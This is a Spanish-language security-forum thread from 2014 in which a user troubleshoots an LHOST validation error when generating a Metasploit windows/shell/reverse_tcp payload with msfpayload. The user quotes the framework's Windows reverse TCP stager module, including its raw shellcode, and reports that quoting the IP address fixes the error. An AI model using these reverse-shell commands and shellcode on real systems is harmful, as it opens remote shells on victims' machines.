elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el ttwitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Ético (Moderador: toxeek)
| | |-+  (Solucionado) Como solucionar el error de validacion de Lhost en metasploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: (Solucionado) Como solucionar el error de validacion de Lhost en metasploit  (Leído 5,474 veces)
Mister12


Desconectado Desconectado

Mensajes: 733



Ver Perfil
(Solucionado) Como solucionar el error de validacion de Lhost en metasploit
« en: 24 Mayo 2014, 20:35 »

Estoy tratando de setear la Ip y el host de my payload en metasploit usando el windows/shell/reverse_tcp despues de ingresar

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=My ip
LPORT=4441 o

Me aparece este mensaje de error:

Error generating the payload: The following options failed to validate: LHOST

La traduccion seria error generando el payload : Las siguientes opciones fallaron al validar: LHOST

A que se deve esos mensajes de error y como solucionarlo?

Buscando en google encontre lo siguiente lo cual me hace pensar que con una midificacion en el codigo fuente de los payload se podria solucionar pero no soy experto en programacion y necesito de su ayuda

Esto fue lo que encontre:

Este es el codigo de un exploit recopilado


Si se deja el codigo como esta dara el error de validcion de LHOST



Despues de corregir el codigo tendria que quedar haci



El codigo del los payload de metasploit son como este

Citar
##
# $Id: reverse_tcp.rb 14774 2012-02-21 01:42:17Z rapid7 $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'
require 'msf/core/handler/reverse_tcp'


module Metasploit3

   include Msf::Payload::Stager
   include Msf::Payload::Windows

   def initialize(info = {})
      super(merge_info(info,
         'Name'          => 'Reverse TCP Stager',
         'Version'       => '$Revision: 14774 $',
         'Description'   => 'Connect back to the attacker',
         'Author'        => ['hdm', 'skape', 'sf'],
         'License'       => MSF_LICENSE,
         'Platform'      => 'win',
         'Arch'          => ARCH_X86,
         'Handler'       => Msf::Handler::ReverseTcp,
         'Convention'    => 'sockedi',
         'Stager'        =>
            {
               'RequiresMidstager' => false,
               'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'] },
               'Payload' =>
                  # Length: 290 bytes
                  "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
                  "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
                  "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
                  "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
                  "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
                  "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
                  "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
                  "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
                  "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
                  "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
                  "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
                  "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
                  "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" +
                  "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" +
                  "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" +
                  "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00" +
                  "\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56" +
                  "\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75" +
                  "\xEC\xC3"
            }
         ))


   end

end                                                                                      

No tengo idea donde tendria que modificar
« Última modificación: 7 Junio 2014, 18:32 por Mister12 » En línea

From some where at the other side of the universe
nrzamel

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: A que se deve este mensaje de error en matasploit al setear la IP y el Lport
« Respuesta #1 en: 24 Mayo 2014, 21:22 »

Disculpa le pones la palabra My ip o tu direccion de ip?
En línea

Mister12


Desconectado Desconectado

Mensajes: 733



Ver Perfil
Re: A que se deve este mensaje de error en matasploit al setear la IP y el Lport
« Respuesta #2 en: 24 Mayo 2014, 21:58 »

Disculpa le pones la palabra My ip o tu direccion de ip?

Obvio que mi dirección IP "lo de my ip solo lo escribí como ejemplo por no publicar mi ip en el foro"
En línea

From some where at the other side of the universe
falc0n

Desconectado Desconectado

Mensajes: 47



Ver Perfil
Re: A que se dede este mensaje de error en metasploit al setear la IP y el Lport
« Respuesta #3 en: 28 Mayo 2014, 20:42 »

Parece un error al pardear tu dirección ip a cadena de texto, prueba a ponerla entre comillas dobles
En línea

Mister12


Desconectado Desconectado

Mensajes: 733



Ver Perfil
Re: Como solucionar el error de validacion de Lhost en metasploit
« Respuesta #4 en: 31 Mayo 2014, 18:57 »

Hice lo que me indicaste y siempre me da el error de validación de LHOST, estudiando el lenguaje de programación Ruby he solucionado el problema, para que la Ip sea validada en LHOST se debe de escribir así ejemplo "LHOST=192.166.43.1" de igual forma en LPORT en la mayoría de tutorial solo dan ejemplos de esta forma,  LHOST=192.166.43.1 y debe de ser como lo explique en el primer ejemplo.
« Última modificación: 7 Junio 2014, 18:30 por Mister12 » En línea

From some where at the other side of the universe
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines